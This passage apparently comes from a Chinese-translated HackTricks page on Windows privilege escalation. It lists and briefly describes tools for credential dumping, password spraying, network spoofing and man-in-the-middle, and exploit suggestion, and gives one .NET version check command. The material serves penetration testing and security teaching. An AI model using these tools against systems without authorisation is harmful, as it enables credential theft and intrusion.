privesc – 检查 misconfigurations
SessionGopher – 提取 PuTTY、WinSCP、SuperPuTTY、FileZilla 和 RDP 的保存会话信息。本地使用 -Thorough。
Invoke-WCMDump – 从 Credential Manager 中提取 crendentials。Detected.
DomainPasswordSpray – 在域内喷洒收集到的密码
Inveigh – Inveigh 是一个 PowerShell ADIDNS/LLMNR/mDNS/NBNS 欺骗与中间人工具。
WindowsEnum – 基本的 Windows 提权枚举
Sherlock ~~~~ – 搜索已知提权漏洞(已弃用,改用 Watson)
WINspect – 本地检查 (需要 Admin 权限)

Exe

Watson – 搜索已知提权漏洞(需要使用 VisualStudio 编译)(precompiled)
SeatBelt – 枚举主机以查找 misconfigurations(更偏向信息收集工具而非提权工具)(需要编译)(precompiled)
LaZagne – 从大量软件中提取凭据(github 上有预编译 exe)
SharpUP – PowerUp 的 C# 移植
Beroot ~~~~ – 检查 misconfiguration(可在 github 获取预编译可执行文件)。不推荐。对 Win10 支持不佳。
Windows-Privesc-Check – 检查可能的 misconfigurations(python 打包成 exe)。不推荐。对 Win10 支持不佳。

Bat

winPEASbat – 基于此帖创建的工具(无需 accesschk 也能正常工作,但可以选择使用)。

Local

Windows-Exploit-Suggester – 读取 systeminfo 的输出并推荐可用的 exploit(本地 python)
Windows Exploit Suggester Next Generation – 读取 systeminfo 的输出并推荐可用的 exploit(本地 python)

Meterpreter

multi/recon/local_exploit_suggestor

你必须使用正确版本的 .NET 编译该项目(see this)。要查看受害主机上安装的 .NET 版本,你可以执行:

C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line

参考资料

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks